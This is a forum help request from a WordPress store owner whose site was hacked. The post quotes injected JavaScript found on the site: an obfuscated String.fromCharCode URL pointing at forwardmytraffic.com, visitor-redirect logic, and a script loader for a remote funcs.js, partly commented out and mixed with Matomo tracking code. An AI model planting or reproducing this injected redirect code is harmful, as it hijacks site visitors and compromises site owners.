Problem with wordpress

Hello,

A few weeks ago I set a website on the wordpress platform. Unfortunately, my store was hacked. Can somebody help me restore the store to a second-to-a-prior state? How can I defend myself against such intrusions in the future ?

When I want to login to my website I have such as notification:

(function() {

var u=String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 114, 119, 97, 114, 100, 109, 121, 116, 114, 97, 102, 102, 105, 99, 46, 99, 111, 109, 47, 99, 111, 110, 118, 101, 114, 116, 46, 112, 104, 112, 63, 117, 116, 109, 61, 52, 51, 54, 38, 115, 101, 114, 118, 105, 99, 101, 61, 55, 54);
/*if (window.location.href.indexOf(“/wp-admin/”) === -1){ window.location.replace(u);document.location.replace(u);window.location.href=u;document.location.href=u;}
if (window.location.href.indexOf(“/wp-admin/setup-config.php”) === 1){ window.location.replace(u);document.location.replace(u);window.location.href=u;document.location.href=u;}*/
/*var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=’//cdn.matomo.cloud/idx4.matomo.cloud/piwik.js’; s.parentNode.insertBefore(g,s);*/
})();
var _paq = _paq || [];
/* tracker methods like “setCustomDimension” should be called before “trackPageView” */
_paq.push([‘trackPageView’]);
_paq.push([‘enableLinkTracking’]);
(function() {
var u=”https://voltaer.matomo.cloud/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘1’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=’//cdn.matomo.cloud/voltaer.matomo.cloud/piwik.js’; s.parentNode.insertBefore(g,s);
})();
/*
(function() {
var u=”https://idx4.matomo.cloud/”;
_paq.push([‘setTrackerUrl’, u+’piwik.php’]);
_paq.push([‘setSiteId’, ‘1’]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=’https://forwardmytraffic.com/funcs.js’; s.parentNode.insertBefore(g,s);
})();

*/